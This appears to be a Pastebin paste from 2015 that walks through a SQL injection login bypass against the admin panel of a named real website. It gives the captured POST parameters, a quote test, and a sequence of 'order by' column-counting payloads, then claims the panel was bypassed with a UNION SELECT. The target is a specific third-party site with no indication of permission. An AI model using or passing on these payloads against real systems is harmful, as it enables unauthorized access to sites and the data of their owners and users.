Kyfx

Bypassing Login Panel with SQL Queries

Jul 25th, 2015
1,158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1. http://trentglobal.com/admin
  2.  
  3. We can use Live HTTP Headers or Hackbar for Post Parameters Injection so i will Use Hackbar For this Process.
  4. Now Lets Insert Some Text in username and password boxes.After Inserting Text Click on LOGIN Button.Then Enable Post Data in Hackbar for the Execution of Our Post Parameters.
  5.  
  6. Now Click on LOAD URL Button in Hackbar to get POST Parameters in POST DATA box in Hackbar Addon.There we will give our SQL injection Queries.
  7.  
  8. It gives us Invalid Username and Password but you can See the Post Data in Hackbar Addon.
  9. Here is Our Post Parameter uname=kyfx&pwd=123456&log_submit=Login
  10. let's Add Single Quote after uname=kyfx' to check The SQLi vulnerability.And Then Execute the Query.
  11.  
  12. It is Vulnerable to SQL Injection.Next we will execute STRING Based SQL Query for Further Injecting.
  13. Now Let's Count how Many Columns are there.
  14. So We will Give our Command For counting Columns in Post Parameters with Hackbar.
  15. uname=kyfx' order by 2%23
  16. No Error !!
  17.  
  18. uname=kyfx' order by 3%23
  19. No Error !!
  20.  
  21. uname=kyfx' order by 4%23
  22. No Error !!
  23.  
  24. uname=kyfx' order by 5%23
  25.  
  26. We Got Error !! Unknown column '5' in 'order clause'
  27. it Means There are 4 Total number of Columns.
  28. Hmmm Now Let's Execute our UNION SELECT command with 4 number of Columns.
  29.  
  30. BinGOOOO!! Admin Panel Bypassed .we have got Access to the Admin Panel Without using Username or Password of the Admin user.
Advertisement
Add Comment
Please, Sign In to add comment